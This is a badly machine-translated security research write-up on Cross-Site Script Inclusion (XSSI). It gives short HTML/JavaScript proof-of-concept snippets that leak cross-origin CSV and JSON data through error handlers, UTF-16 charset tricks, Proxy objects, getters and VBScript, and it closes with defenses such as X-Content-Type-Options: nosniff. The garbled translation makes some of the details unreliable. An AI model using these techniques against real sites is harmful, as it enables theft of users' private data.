XSSI attack Exploitation

XSSI attack Exploitation

0x00 introduction PS: MBSD is a Japanese security company that recently seems to share technical documents.
Cross Site Script transfer Sion (XSSI) is an attack that allows attackers to steal information through malicious JavaScript code bypass the border. Specifically, the external data should be loaded by diving into the script tag, for example:

<!-- attacker's page loads external data with SCRIPT tag --><SCRIPT src="http://target.wooyun.org/secret"></SCRIPT>

In the past few years, common awareness of js files, jsonp, json, or older browsers among web security researchers may be attacked in this way. In addition, some browser vulnerabilities can also be used to obtain js error information, but it should be fixed almost now.
2014. We made a special research on this technology and found some interesting exploitation techniques and browser vulnerabilities. We can obtain some information in simple text, such as csv, in some specific situations, more complex information can be obtained. Our main research direction is to identify the target data through client scripts, such as variables or function names.

In the next section, we will begin to introduce the use of technology, and finally discuss the defense methods.
0x01 attack technology/Vulnerability
We have found a total of five xssi-related vulnerability exploitation technologies or browser vulnerabilities.


IE bug leads to error information leakage get other types of data via UTF-16 encoding Harmony proxy bug in chrome/firefox get 2.1 IE bug via exhaustive csv cause error information leakage

To prevent cross-origin leakage of js error information, mainstream browsers currently only have fixed error information for externally loaded js files, such as "script error", which should be in ie9 and ie10, this is not the case.

In general, when external js syntax errors occur, the browser will only provide fixed error information, but when a runtime error occurs, the browser will provide detailed error information. For example, "foo undefined" May cause information leakage if some browsers allow external domain js to reply to detailed error information.

That is to say, when the content of a webpage can be recognized as javascript by js, the target content may be obtained through error information.

For example, the target webpage

HTTP/1.1 200 OKContent-Type: text/csvContent-Disposition: attachment; filename = "a.csv" Content-Length: 131, abc, def, ghi

Attacker setting error display

<SCRIPT>window.onerror = function(err) {alert(err)}</SCRIPT><!-- load target CSV --><SCRIPT src="(target data's URL)"></SCRIPT> 

Once the page is loaded successfully, "'abc' is undefined" is displayed ".

This occurs because the browser recognizes the target as javascript, and abc is recognized as an undefined variable. In this case, the Browser allows the page to capture error messages from different webpages.

To sum up, all data that has the possibility of being used can be identified or identified as valid js data in some way.

We reported this issue in July 2014, allocating MS14-080, and later CVE-2014-6345 was also assigned to this bug (1] (2] Their patching scheme is similar to that of other browsers, change the error message to a fixed one.

However, note that only Internet Explorer 9 and Internet Explorer 10 are vulnerable to this vulnerability.

Unfortunately, we didn't get the first to notice this problem. In, security researcher Chris Evans found a similar problem in firefox (3, however, his attack code looks troublesome. This product uses multiple redirection to spoof the browser. Another thing was that, over the past 13 years, researchers Yosuke Hasegawa and @ masa141421356 have also performed relevant research. (4]

2. Get json and other types of data with UTF-16

As you can see, the above is only useful in csv-type tricks, so we have done more research to see if we can get data in different formats, then we found that our goal could be achieved through UTF-16 encoding.

Actually itself is a very simple technique such as page a, we add charset = "UTF-16BE"

<!-- set an error handler --><SCRIPT>window.onerror = function(err) {alert(err)}</SCRIPT><!-- load target JSON --><SCRIPT src="(target data's URL)" charset="UTF-16BE"></SCRIPT>

Then the json data is too long.

HTTP/1.1 200 OKContent-Type: application/jsonContent-Disposition: attachment; filename = ". json "Content-Length: 39 {" aaa ":" 000 "," bbb ":" 111 "," ccc ":" 222 "}

When the response lacks the character set specification, it will be forcibly transcoded to a fixed encoding by the charset attribute. We use this technique to discard many famous browsers, including ie 9.

After testing this code, we opened a window for ourselves.

We can see a garbled string, because when the browser obtains the data of the target webpage, the data is encoded once, and then decoded once on our page through the character set specified by charset.

We can draw a simple conclusion that we can obtain the original information by re-encoding garbled characters, however, it is important to note that the attack is successful only when the encoded information can be recognized by the browser as a valid js identifier, the codes for different platforms are different. on ie, the characters that can be recognized as valid js identifiers are more than those of other platforms, for others, the ECMAScript specification (5) of ie is no different from that of other browsers.

For example, for ie, '3q' (U + 3371, bytes) is considered to belong to "Symbol, Other [So]" in unicode encoding, which is a type of Symbol. In general, this form of identification should not happen in any browser, but ie may be less than 2b.

We spent a lot of time studying what kind of combination, can be recognized by the browser as a valid js identifier, when the character encoding for the UTF-16 of the combination of numbers and letters, ie 9 considers its 99.3% as a valid js identifier, higher than chrome and firefox. For specific results, see

One thing to note is that in ie 10 or later versions, the attack may not work, because ie 10 refuses to encode the bom without NULL bytes to utf16.

3. Harmony proxy bug in Firefox/Chrome

Harmony is a new feature in ECMAScript 6 (6], similar to the reflection class in java, which defines the search, allocation, and function call of object attributes, during our research on these new features, we found that this feature can be used in xssi attacks.

For example:

<!-- set proxy handler to window.__proto__ --><SCRIPT>var handler = { has: function(target, name) {alert("data=" + name); return true}, get: function(target, name) {return 1}};window.__proto__ = new Proxy({}, handler);</SCRIPT><!-- load target CSV --><SCRIPT src="(target data's URL)"></SCRIPT>

Note that window. proto defines a proxy object. When an undefined global variable is accessed, handler starts to process it.

The csv file length is as follows:

HTTP/1.1 200 OKContent-Type: text/csvContent-Disposition: attachment; filename = "a.csv" Content-Length: 131, abc, def, ghi

When you access the attack page, if the attack succeeds for a long time, you will receive a pop-up window of "data = abc", "data = def", "data = ghi, we have been verified in firefox and chrome.

We reported this bug on April 9, last August. chrome's js proxy was disabled by default at the same time. You need to enable it through settings (chrome: // flags/# enable-javascript-harmony ), later, in January (7], this feature was removed from chrome. The bug was assigned cvs number CVE-2014-7939 (8] (9]

For firefox, while we are still focusing on writing reports, firefox published this bug (10], the reason is that a product named Erling Ellingsen found the bug and sent it to twitter (11]. The bug has not been fixed yet, and of course there is no cve.

However, we recommend that you pay attention to the bug tracking version (7] (10] of firefox. Is this really a security vulnerability worth discussing? or you only need to regard it as a js function, the other fact is that, even if we don't have this stuff, we can use the exhaustion of external files to Attack Files compatible with js syntax.

Next we will discuss the methods of brute force attacks.

4. exhaustive search

Assume that an attack page loads the following csv file through js.

HTTP/1.1 200 OKContent-Type: text/csvContent-Disposition: attachment; filename = "a.csv" Content-Length: 81, xyz123

Once loaded, we will get an undefined xyz123 error. In other words, if we define this identifier before loading an external file, we will not be affected by this error, we can also determine that xyz123 exists in an external file. That is to say, we need a suitable method to check whether errors occur. Generally, the browser does not provide detailed external error information, but still returns a common error mark. Therefore, poor information is still possible.

In general, we found three methods of exhaustion.

The first type is binary search. For example, if you know that the target is "xyz121", "xyz122", "xyz123", and "xyz124", you can first define the first two variables and see if there are any errors, define the last two and then narrow down the target.

The second method is to use the js getter, as shown below:

<!-- set getters --><SCRIPT>Object.defineProperty(window, "xyz121", {get: function() {alert("value=xyz121")}});Object.defineProperty(window, "xyz122", {get: function() {alert("value=xyz122")}});Object.defineProperty(window, "xyz123", {get: function() {alert("value=xyz123")}});Object.defineProperty(window, "xyz124", {get: function() {alert("value=xyz124")}});</SCRIPT><!-- load target CSV --><SCRIPT src="(target data's URL)"></SCRIPT>

 

Window. *** | * will trigger the above rule.

The third method is to use vbscript to obtain the json array. This idea comes from Hasegawa's research and combines vbscript and json for attacks (4]

The target page looks like this

HTTP/1.1 200 OKContent-Type: application/jsonContent-Disposition: attachment; filename = "a. json" Content-Length: 12 [1, "xyz123"]

Then, we call vbscript on the attack interface.

<SCRIPT language="vbscript">Sub [1,"xyz121"]: MsgBox "value=xyz121": End SubSub [1,"xyz122"]: MsgBox "value=xyz122": End SubSub [1,"xyz123"]: MsgBox "value=xyz123": End SubSub [1,"xyz124"]: MsgBox "value=xyz124": End Sub</SCRIPT><!-- load target JSON as VBScript --><SCRIPT src="(target data's URL)" language="vbscript"></SCRIPT>

<Scriptsrc = "(target data's URL)" language = "vbscript"> </script>

 

Similar to the above attacks, the target value is obtained through exhaustive actions. However, vbscript is only used in ie.

Ps: What should I do... I think it hurts.

CSV with quotations thef

The above csv information is obtained only when the target string is not enclosed by quotation marks, but it is also a small trick that can bypass this restriction.

Let's assume that the length of a csv is B.

1,"___","aaa@a.example","03-0000-0001"2,"foo","bbb@b.example","03-0000-0002"...98,"bar","yyy@example.net","03-0000-0088"99,"___","zzz@example.com","03-0000-0099"

If attackers can insert their own strings, they only need to add a double quotation mark ("bypass") according to the RFC-related CSV (RFC 4180 (12]) Rules.

For example

1,"\"",$$$=function(){/*","aaa@a.example","03-0000-0001"2,"foo","bbb@b.example","03-0000-0002"...98,"bar","yyy@example.net","03-0000-0088"99,"*/}//","zzz@example.com","03-0000-0099"

One problem is how to obtain multi-row information, because multi-row is illegal in js. In the above example, we use $ = function (){/... /}. Then, the attacker can call $. toString () to obtain the function to obtain the target data. This attack method is used by all browsers.

One way to get multi-line content can work in chrome and firefox, that is, the ECMAScript6 template string obtains multi-line content through reverse quotation marks.

0x02 conclusion

The following are some notes.

The preceding example demonstrates that xssi uses a combination of browser vulnerabilities or attack techniques to obtain specific data. However, the use cases are still limited.

In the defense mode, you only need to set the Response Header X-Content-Type-Options: nosniff, so the browser will refuse to record this Type of data as js.

At the same time, you also need to set character set specifications to prevent attacks in some special scenarios. here we can see some references on Character Set attacks (13]

Attacks are not limited to some browser.

A tough problem X-Content-Type-Options Header only applies to ie-8 + and chrome and does not include other browsers.

Firefox is still discussing whether to do this. (14] (15]

We recommend that you use Content-Type and X-Content-Type-Options.

Here are some other measures

Disable get requests

Use difficult-to-guess Parameters

Use XHR for requests when using custom headers.

Or simply deny http requests that do not meet the conditions. Simply put, set some filter rules to intercept the requests.